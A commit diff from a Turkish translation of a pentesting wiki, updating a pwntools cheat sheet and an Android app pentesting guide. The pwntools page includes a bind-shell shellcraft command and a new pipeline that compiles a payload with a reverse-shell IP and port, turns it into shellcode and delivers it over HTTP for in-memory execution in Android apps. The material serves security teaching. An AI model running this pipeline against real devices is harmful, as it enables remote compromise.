Translated ['src/mobile-pentesting/android-app-pentesting/reversing-nati

This commit is contained in:
Translator 2025-09-30 02:12:44 +00:00
parent f32f67c54b
commit e8eeaf40b7
5 changed files with 494 additions and 323 deletions

View File

@ -353,6 +353,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)

View File

@ -6,21 +6,21 @@ pip3 install pwntools
```
## Pwn asm
Satırdan veya dosyadan **opcodları** al.
Satırdan veya dosyadan **opcodes** alın.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Seçilebilir:**
- çıktı türü (ham, hex, string, elf)
- çıktı dosyası bağlamı (16, 32, 64, linux, windows...)
- baytlardan kaçın (yeni satırlar, null, bir liste)
- çıktı almak için gdb kullanarak kodlayıcı hata ayıklayıcı shellcode seç
- çıktı türü (raw,hex,string,elf)
- çıktı dosyası bağlamı (16,32,64,linux,windows...)
- baytlardan kaçın (new lines, null, a list)
- encoder seç, shellcode'u gdb ile debug et ve çıktıyı çalıştır
## **Pwn checksec**
Checksec betiği
Checksec script
```
pwn checksec <executable>
```
@ -28,7 +28,7 @@ pwn checksec <executable>
## Pwn cyclic
Bir desen al
Bir pattern al
```
pwn cyclic 3000
pwn cyclic -l faad
@ -36,13 +36,13 @@ pwn cyclic -l faad
**Seçilebilir:**
- Kullanılan alfabe (varsayılan olarak küçük harfler)
- Benzersiz desenin uzunluğu (varsayılan 4)
- bağlam (16,32,64,linux,windows...)
- uniq pattern uzunluğu (varsayılan 4)
- context (16,32,64,linux,windows...)
- Ofseti al (-l)
## Pwn debug
Bir işleme GDB ekle
GDB'yi bir işleme bağlayın.
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
@ -50,51 +50,51 @@ pwn debug --process bash
```
**Seçilebilir:**
- Çalıştırılabilir dosya, isim veya pid bağlamına göre (16,32,64,linux,windows...)
- executable'e göre, isim veya pid bağlamına göre (16,32,64,linux,windows...)
- Çalıştırılacak gdbscript
- sysrootpath
## Pwn disablenx
Bir ikili dosyanın nx'ini devre dışı bırakın
Bir binary'nin nx özelliğini devre dışı bırakır
```
pwn disablenx <filepath>
```
## Pwn disasm
Hex opkodlarını disassemble et
Hex opcodes'larını disassemble et
```
pwn disasm ffe4
```
**Seçilebilir:**
- bağlam (16,32,64,linux,windows...)
- temel adres
- renk (varsayılan)/renksiz
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
## Pwn elfdiff
2 dosya arasındaki farkları yazdırır
İki dosya arasındaki farkları yazdırır
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Onaltılık temsil al
Onaltılık gösterimini al
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Hexdump al
hexdump alın
```
pwn phd <file>
```
**Seçilebilir:**
- Gösterilecek byte sayısı
- Satır başına vurgulanan byte sayısı
- Başlangıçta atlanacak byte'lar
- Gösterilecek bayt sayısı
- Satır başına bayt sayısı — vurgulanacak bayt
- Başlangıçtaki baytları atla
## Pwn pwnstrip
@ -102,7 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Shellcode'ları al
Shellcodes al
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -113,17 +113,17 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
**Seçilebilir:**
- shellcode ve shellcode için argümanlar
- Çıktı dosyası
- Çıkış dosyası
- çıktı formatı
- hata ayıklama (shellcode'a dbg ekle)
- önce (koddan önce hata ayıklama tuzağı)
- sonra
- opcode kullanmaktan kaçın (varsayılan: null ve yeni satır değil)
- debug (dbg'yi shellcode'a bağla)
- before (koddan önce debug trap)
- sonrası
- opcodes kullanmaktan kaçın (varsayılan: null ve yeni satır içermeyen)
- shellcode'u çalıştır
- Renk/renksiz
- sistem çağrılarını listele
- Renkli/renksiz
- syscalls listesini göster
- olası shellcode'ları listele
- ELF'yi paylaşılan bir kütüphane olarak oluştur
- ELF'i shared library olarak oluştur
## Pwn şablonu
@ -131,7 +131,7 @@ Bir python şablonu al
```
pwn template
```
**Seçilebilir:** host, port, kullanıcı, şifre, yol ve sessiz
**Seçilebilir:** host, port, user, pass, path and quiet
## Pwn unhex
@ -145,4 +145,37 @@ pwntools'u güncellemek için
```
pwn update
```
## ELF → raw shellcode paketleme (loader_append)
Pwntools, bağımsız bir ELF'i tek bir raw shellcode bloğuna dönüştürebilir; bu blok segmentlerini kendi kendine haritalar ve yürütmeyi orijinal entrypoint'e aktarır. Bu, memory-only loaders için idealdir (ör. JNI çağırarak indirilen baytları çalıştıran Android uygulamaları).
Tipik işlem hattı (amd64 örneği)
1) Statik, konum-bağımsız payload ELF oluşturun (taşınabilirlik için musl önerilir):
```bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
2) pwntools ile ELF'i shellcode'a dönüştürme:
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
```
3) sc'yi bir memory loader'a (ör. HTTP[S] ile) teslim edin ve aynı proses içinde çalıştırın.
Notlar
- loader_append orijinal ELF programını shellcode'un içine gömer ve segmentleri mmaps eden ve entry'ye atlayan küçük bir loader üretir.
- Mimarinin context.clear(arch=...) ile açıkça belirtilmesine dikkat edin. arm64 Android'de yaygındır.
- Payload'unuzun kodunun konum-bağımsız olmasını sağlayın ve proses ASLR/NX hakkında varsayımlarda bulunmaktan kaçının.
## Referanslar
- [Pwntools](https://docs.pwntools.com/en/stable/)
- [CoRPhone ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Android Uygulamaları Temelleri
Bu sayfayı okumaya başlamanız şiddetle tavsiye edilir; **Android güvenliği ile ilgili en önemli parçalar ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için:
Bu sayfayı okumaya başlamanız kuvvetle tavsiye edilir; **Android güvenliğiyle ilgili en önemli parçalar ve bir Android uygulamasındaki en tehlikeli bileşenler** hakkında bilgi edinmek için:
{{#ref}}
android-applications-basics.md
@ -12,23 +12,23 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Bu, bir Android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
**ADB**, bir bilgisayardan **USB** veya **Network** üzerinden cihazları kontrol etmeyi sağlar. Bu araç, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** gibi işlevleri mümkün kılar.
Bu, bir android cihaza (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
**ADB**, bir bilgisayardan **USB** veya **ağ** üzerinden cihazları kontrol etmeyi sağlar. Bu yardımcı program, dosyaların iki yönlü **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, shell komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, logların **okunması** ve diğer işlevleri sağlar.
Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb.
ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Commands**](adb-commands.md) listesine göz atın.
## Smali
Bazen **uygulama kodunu değiştirmek**, gizli bilgilere (ör. iyi obfuskelenmiş parolalar veya flags) erişmek için ilginç olabilir. Bu durumda apk'yı decompile edip, kodu değiştirip yeniden derlemek ilginç olabilir.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, yapılacak dinamik analiz sırasında sunulacak çeşitli testler için bir **alternatif** olarak çok faydalı olabilir. Bu olasılığı **her zaman aklınızda bulundurun**.
Bazen **uygulama kodunu değiştirmek**, **gizli bilgilere** erişmek için ilginç olabilir (örneğin iyi obfuscated edilmiş parolalar veya flags). Bu durumda, apk'yi decompile edip kodu değiştirip yeniden derlemek ilginç olabilir.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Bu, sunulacak dinamik analiz sırasında gerçekleştirilecek çeşitli testler için faydalı bir **alternatif** olabilir. O halde, **bu olasılığı her zaman aklınızda bulundurun**.
## Diğer ilginç hileler
## Diğer ilginç taktikler
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **APK'leri İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Cihazdan APK çıkar:
```bash
adb shell pm list packages
@ -39,7 +39,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Tüm splits ve base apks'i [APKEditor](https://github.com/REAndroid/APKEditor):
- Tüm splits'leri ve base apks'leri [APKEditor](https://github.com/REAndroid/APKEditor) ile birleştirin:
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -48,7 +48,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Vaka İncelemeleri & Zayıflıklar
## Vaka İncelemeleri & Güvenlik Açıkları
{{#ref}}
@ -63,38 +63,38 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Statik Analiz
Öncelikle, bir APK'yı analiz ederken bir decompiler kullanarak **Java koduna göz atmalısınız**.\
Lütfen, [**farklı kullanılabilir decompiler'lar hakkında bilgi almak için burayı okuyun**](apk-decompilers.md).
Lütfen, [**farklı kullanılabilir decompiler'lar hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md).
### İlginç Bilgiler Arama
APK'nın **strings**'lerine bakarak **şifreler**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **tokens** ve ilginç olabilecek her şeyi arayabilirsiniz... ayrıca kod çalıştırma **backdoors** veya kimlik doğrulama backdoors (uygulamaya hardcoded admin credentials) arayın.
APK'nın **strings**'lerine bakarak **parolalar**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **tokens** ve dikkat çeken diğer şeyleri arayabilirsiniz... hatta kod yürütme için **backdoor** veya kimlik doğrulama backdoor'larına (uygulamaya gömülü admin kimlik bilgileri) bakın.
Firebase
**Firebase**
Özellikle **firebase URLs**'lerine dikkat edin ve kötü yapılandırılmış olup olmadığını kontrol edin. [Firebase nedir ve nasıl exploit edileceği hakkında daha fazla bilgi için buraya bakın.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Özellikle **Firebase URL'lerine** dikkat edin ve yanlış yapılandırılmış olup olmadığını kontrol edin. [Firebase'in ne olduğu ve nasıl suistimal edileceği hakkında daha fazla bilgi burada.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Uygulamayı Temel Düzeyde Anlama - Manifest.xml, strings.xml
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının incelenmesi potansiyel güvenlik zafiyetlerini ortaya çıkarabilir. Bu dosyalara decompiler ile veya APK uzantısını .zip yapıp açarak erişilebilir.
Bir uygulamanın **_Manifest.xml_ ve **_strings.xml_** dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalara decompiler'lar ile erişilebilir veya APK dosya uzantısını .zip olarak değiştirip açabilirsiniz.
Manifest.xml'den tespit edilebilecek **zayıflıklar** şunlardır:
**Manifest.xml** dosyasından tespit edilebilecek **güvenlik açıkları** şunlardır:
- **Debuggable Applications**: _Manifest.xml_ dosyasında debuggable (`debuggable="true"`) olarak ayarlanmış uygulamalar risk taşır; bu ayar bağlantılara izin vererek exploitation'a yol açabilir. Debuggable uygulamaların cihazda nasıl bulunup exploit edileceğini öğrenmek için ilgili eğitimlere bakın.
- **Backup Settings**: Hassas bilgiyle uğraşan uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi halde adb ile yetkisiz veri yedeklemelerine izin verilebilir, özellikle usb debugging etkinse.
- **Network Security**: _res/xml/_ içindeki özel network security konfigürasyonları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleme ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domain'ler için HTTP trafiğine izin verme.
- **Exported Activities and Services**: Manifest'te exported aktiviteler ve servislerin tespiti, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında bu bileşenlerin nasıl exploit edilebileceği daha iyi anlaşılır.
- **Content Providers and FileProviders**: Açıkta bırakılmış content provider'lar yetkisiz erişim veya veri değişikliğine izin verebilir. FileProviders yapılandırması da dikkatle incelenmelidir.
- **Broadcast Receivers and URL Schemes**: Bu bileşenler exploitation için kullanılabilir; özellikle URL şemalarının girdilerini nasıl yönettiğine dikkat edilmelidir.
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; eski ve zayıf Android sürümlerine destek vermemek güvenlik ısından önemlidir.
- **Debuggable Applications**: _Manifest.xml_ dosyasında `debuggable="true"` olarak işaretlenmiş uygulamalar, bağlantılara izin verdiği için istismara açık olabilir. Debuggable uygulamaların nasıl istismar edileceğini anlamak için ilgili eğitim materyallerine bakın.
- **Backup Settings**: Hassas bilgilerle uğraşan uygulamalar için `android:allowBackup="false"` özniteliğinin açıkça ayarlanması gerekir; aksi takdirde adb ile yetkisiz veri backup'u yapılabilir, özellikle usb debugging etkinse.
- **Network Security**: _res/xml/_ içinde tanımlanmış özel network security config (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin belirli domainler için HTTP trafiğine izin verilebilir.
- **Exported Activities and Services**: Manifest'te export edilmiş activity ve service'lerin belirlenmesi, kötüye kullanılabilecek bileşenleri ortaya çıkarabilir. Dinamik testler sırasında bu bileşenlerin nasıl istismar edilebileceği daha ayrıntılı analizle ortaya çıkabilir.
- **Content Providers and FileProviders**: Açığa çıkmış content provider'lar yetkisiz veri erişimine veya değiştirmeye izin verebilir. FileProvider yapılandırması da dikkatle incelenmelidir.
- **Broadcast Receivers and URL Schemes**: Bu bileşenler istismar için kullanılabilir; özellikle URL scheme'lerinin nasıl yönetildiğine ve giriş validasyonuna dikkat edilmelidir.
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; eski ve zayıf Android sürümlerine destek vermemek güvenlik için önemlidir.
**strings.xml** dosyasından API keys, özel schema'lar ve diğer geliştirici notları gibi hassas bilgiler bulunabilir; bu kaynakların dikkatle incelenmesi gerektiğini vurgular.
**strings.xml** dosyasından API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir; bu kaynakların dikkatle incelenmesi gerekir.
### Tapjacking
Tapjacking, kötü amaçlı bir **application**'ın başlatılıp **kurban uygulamanın üzerine konumlanmasıyla** gerçekleşen bir saldırıdır. Kurban uygulamayı görünür şekilde örttüğünde, kötü amaçlı uygulamanın UI'sı kullanıcıyı etkileşimde bulunmaya kandıracak şekilde tasarlanır; aynı zamanda bu etkileşimi kurban uygulamaya iletir.\
Sonuç olarak, kullanıcı aslında kurban uygulamada işlem yapıyor olduğunu bilmeden **körlenir**.
Tapjacking, kötü niyetli bir uygulamanın hedef uygulamanın üzerine **konumlanması** ile yapılan bir saldırıdır. Hedef uygulamayı görsel olarak gizledikten sonra, kötü amaçlı uygulamanın kullanıcı arayüzü kullanıcıyı kandıracak şekilde tasarlanır ve etkileşimleri hedef uygulamaya iletir.\
Sonuç olarak, kullanıcı aslında hedef uygulama üzerinde işlem yaptığının farkında olmadan körlenmiş olur.
Daha fazla bilgi için bakın:
Daha fazla bilgi için bakınız:
{{#ref}}
@ -103,9 +103,9 @@ tapjacking.md
### Task Hijacking
`launchMode` değeri **`singleTask`** olarak ayarlanmış ve herhangi bir **`taskAffinity`** tanımlanmamış bir **activity**, task Hijacking'e karşııktır. Bu, kötü amaçlı bir **application** yüklenip gerçek uygulamadan önce çalıştırılırsa **gerçek uygulamanın task'ını ele geçirebileceği** anlamına gelir (kullanıcı gerçek uygulamayı kullanıyormuş sanarak **kötü amaçlı uygulamayla etkileşimde bulunur**).
`launchMode`'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **activity**, task Hijacking'e ıktır. Bu, kötü amaçlı bir uygulamanın yüklenip gerçek uygulamadan önce çalıştırılması durumunda **gerçek uygulamanın task'ını ele geçirebileceği** anlamına gelir (kullanıcı, gerçek uygulamayı kullanıyor sanarak kötü amaçlı uygulama ile etkileşime girebilir).
Detaylar için:
Daha fazla bilgi:
{{#ref}}
@ -114,71 +114,71 @@ android-task-hijacking.md
### Güvensiz veri depolama
Internal Storage
**Internal Storage**
Android'de dahili depolamada saklanan dosyalar, onları oluşturan uygulama tarafından erişilebilir olacak şekilde tasarlanmıştır. Bu güvenlik mekanizması Android işletim sistemi tarafından uygulanır ve çoğu uygulama için yeterlidir. Ancak geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında paylaşılmasına izin verirler. Bu modlar dosyalara diğer uygulamalar, potansiyel olarak kötü amaçlı olanlar dahil, erişimini kısıtlamaz.
Android'de **internal** depolamada saklanan dosyalar, onları oluşturan **app** tarafından erişilecek şekilde tasarlanmıştır. Bu güvenlik önlemi Android işletim sistemi tarafından uygulanır ve çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak geliştiriciler bazen dosyaların farklı uygulamalar arasında paylaşılmasına izin vermek için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanırlar. Bu modlar dosyaların diğer uygulamalar, potansiyel olarak kötü amaçlı olanlar dahil, tarafından erişilmesini engellemez.
1. Statik Analiz:
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının dikkatle incelenmesini **sağlayın**. Bu modlar dosyaların **istemeden ya da yetkisiz biçimde** erişilebilir hale gelmesine yol açabilir.
2. Dinamik Analiz:
- Uygulama tarafından oluşturulan dosyalara verilen izinleri **doğrulayın**. Özellikle, herhangi bir dosyanın **genel okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu ciddi bir güvenlik riski oluşturur; cihazdaki herhangi bir uygulama, kaynağı veya amacı ne olursa olsun, bu dosyaları okuyup değiştirebilir.
1. **Statik Analiz:**
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatle incelenmesini** sağlayın. Bu modlar dosyaları **istenmeyen veya yetkisiz erişime**ık hale getirebilir.
2. **Dinamik Analiz:**
- Uygulama tarafından oluşturulan dosyaların **izinlerini** doğrulayın. Özellikle herhangi bir dosyanın **genel okunur veya yazılabilir** olarak ayarlanıp ayarlanmadığını kontrol edin. Bu, cihazdaki herhangi bir uygulamanın bu dosyaları okumasına veya değiştirmesine izin verebileceği için önemli bir güvenlik riski oluşturur.
External Storage
**External Storage**
SD Kart gibi **external storage** üzerindeki dosyalarla uğraşırken alınması gereken önlemler:
SD Kart gibi **external storage** üzerindeki dosyalarla uğraşırken bazı önlemler alınmalıdır:
1. Erişilebilirlik:
- Harici depolamadaki dosyalar **global olarak okunabilir ve yazılabilir**. Yani her uygulama veya kullanıcı bu dosyalara erişebilir.
2. Güvenlik Endişeleri:
- Bu nedenle hassas bilgileri harici depolamada saklamamak önerilir.
- Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir, bu yüzden daha az güvenlidir.
3. Harici Depolamadan Gelen Veriyi İşleme:
- Harici depolamadan alınan verilerde her zaman **girdi doğrulaması** yapın. Çünkü veri güvenilmeyen bir kaynaktan gelmektedir.
- Harici depolamada dinamik yükleme için yürütülebilir veya class dosyaları saklamak şiddetle tavsiye edilmez.
- Eğer uygulamanız harici depolamadan yürütülebilir dosyalar almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olmasını sağlayın; dinamik olarak yüklemeden önce bu adım güvenlik bütünlüğü için kritiktir.
1. **Erişilebilirlik**:
- External storage üzerindeki dosyalar **genel olarak okunabilir ve yazılabilir**dir. Yani herhangi bir uygulama veya kullanıcı bu dosyalara erişebilir.
2. **Güvenlik Endişeleri**:
- Kolay erişim nedeniyle, hassas bilgileri external storage üzerinde saklamamak önerilir.
- External storage çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir, bu yüzden daha az güvenlidir.
3. **External Storage'dan Gelen Verilerin İşlenmesi**:
- External storage'dan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verinin güvensiz bir kaynaktan geldiği düşünülerek önemlidir.
- External storage üzerinde dinamik yükleme için executable veya class dosyaları saklamak şiddetle önerilmez.
- Uygulamanız external storage'dan executable dosyaları almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olmasını sağlayın. Bu adım, uygulamanızın güvenlik bütünlüğü için hayati öneme sahiptir.
External storage şu dizinlerden erişilebilir: /storage/emulated/0 , /sdcard , /mnt/sdcard
External storage şu dizinlerden **erişilebilir**: /storage/emulated/0 , /sdcard , /mnt/sdcard
> [!TIP]
> Android 4.4 (**API 17**) ile başlayarak, SD kartın bir dizin yapısı vardır ve bu yapı **bir uygulamanın yalnızca o uygulamaya özel dizine erişimini sınırlar**. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
> Android 4.4 (**API 17**) ile başlayarak, SD kartın bir dizin yapısı vardır ve bu yapı **bir uygulamanın yalnızca o uygulamaya özel dizine erişimini sınırlar**. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını önler.
ık metin olarak depolanan hassas veriler
**Açık metin olarak saklanan hassas veriler**
- **Shared preferences**: Android her uygulamanın kolayca xml dosyaları kaydetmesine izin verir; yol `/data/data/<packagename>/shared_prefs/` olup bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
- **Databases**: Android her uygulamanın sqlite veritabanlarını kaydetmesine izin verir; yol `/data/data/<packagename>/databases/` olup bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
- **Shared preferences**: Android, her uygulamaya `/data/data/<packagename>/shared_prefs/` yolunda kolayca xml dosyaları kaydetme imkanı verir ve bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
- **Databases**: Android, her uygulamaya `/data/data/<packagename>/databases/` yolunda sqlite veritabanları kaydetme imkanı verir ve bazen bu klasörde açık metin halinde hassas bilgiler bulunabilir.
### Bozuk TLS
### Broken TLS
Accept All Certificates
**Accept All Certificates**
Bazı nedenlerle geliştiriciler bazen tüm sertifikaları kabul ederler; örneğin hostname eşleşmesi olmasa bile aşağıdaki gibi kod satırlarıyla:
Bazı durumlarda geliştiriciler, örneğin hostname eşleşmesi sağlanmasa bile tüm sertifikaları kabul ederler; bunu aşağıdaki gibi kod satırlarıyla yapabilirler:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### Broken Cryptography
### Kırık Kriptografi
**Poor Key Management Processes**
**Zayıf Anahtar Yönetimi Süreçleri**
Bazı geliştiriciler hassas verileri local storage içinde saklayıp, kod içinde hardcoded/öngörülebilir bir anahtar ile encrypt ederler. Bu yapılmamalıdır çünkü bazı reversing işlemleri saldırganların gizli bilgiyi çıkarmasına izin verebilir.
Bazı geliştiriciler hassas verileri local storage içinde saklayıp kod içinde hardcoded/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalıdır çünkü tersine mühendislik saldırganların gizli bilgileri çıkarmasına izin verebilir.
**Use of Insecure and/or Deprecated Algorithms**
**Güvenli Olmayan ve/veya Kullanımdan Kalmış Algoritmaların Kullanımı**
Geliştiriciler yetkilendirme **checks**, veri **store** veya **send** etmek için **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Eğer örneğin şifreleri saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force'a **karşı dirençli** hashler kullanılmalıdır.
Geliştiriciler yetkilendirme **kontrolleri** yapmak, verileri **saklamak** veya **göndermek** için **kullanımdan kalmış algoritmaları** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin parolaları saklamak için **hash**'ler kullanılıyorsa, salt ile birlikte brute-force'a karşı **dirençli** hash'ler kullanılmalıdır.
### Other checks
### Diğer kontroller
- APK'yi **obfuscate** ederek tersine mühendislik işini saldırganlar için zorlaştırmak önerilir.
- Uygulama hassassa (ör. bankacılık uygulamaları), cihazın **rooted** olup olmadığını **kendi kontrollerini** yapmalı ve buna göre davranmalıdır.
- Uygulama hassassa (ör. bankacılık uygulamaları), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir.
- Uygulama hassassa (ör. bankacılık uygulamaları), **çalıştırmadan önce bütünlüğünü kontrol ederek** değiştirilip değiştirilmediğini doğrulamalıdır.
- APK'nin hangi compiler/packer/obfuscator ile derlendiğini kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın
- APK'yı **obfuscate** ederek tersine mühendislik işini zorlaştırmanız önerilir.
- Eğer uygulama hassassa (ör. banka uygulamaları), cihazın rootlu olup olmadığını kontrol eden kendi **kontrollerini gerçekleştirmeli** ve buna göre davranmalıdır.
- Eğer uygulama hassassa (ör. banka uygulamaları), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir.
- Eğer uygulama hassassa (ör. banka uygulamaları), çalıştırmadan önce kendi bütünlüğünü **kontrol etmeli**; böylece değiştirilip değiştirilmediğini anlayabilir.
- APK'nın hangi compiler/packer/obfuscator ile oluşturulduğunu kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın
### React Native Application
Read the following page to learn how to easily access javascript code of React applications:
React uygulamalarının javascript kodlarına nasıl kolayca erişileceğini öğrenmek için aşağıdaki sayfayı okuyun:
{{#ref}}
@ -187,7 +187,7 @@ react-native-application.md
### Xamarin Applications
Read the following page to learn how to easily access C# code of a xamarin applications:
Xamarin uygulamalarının C# kodlarına nasıl kolayca erişileceğini öğrenmek için aşağıdaki sayfayı okuyun:
{{#ref}}
@ -200,9 +200,9 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa
### Automated Static Code Analysis
Araç [**mariana-trench**](https://github.com/facebook/mariana-trench), uygulamanın **code**unu **scan** ederek **vulnerabilities** bulabilir. Bu araç, **bilinen kaynaklar**ı (kullanıcının **kontrol ettiği** **girdi**lerin bulunduğu **yerleri** araca bildirir), **sinks** (kötü niyetli kullanıcı girdisinin zarar verebileceği **tehlikeli** **yerleri** araca bildirir) ve **kurallar** içerir. Bu kurallar, bir vulnerability'yi gösterecek **sources-sinks** kombinasyonlarını belirtir.
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
Bu bilgiyle, **mariana-trench kodu inceleyip üzerinde olası vulnerability'leri bulacaktır**.
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
### Secrets leaked
@ -215,14 +215,19 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
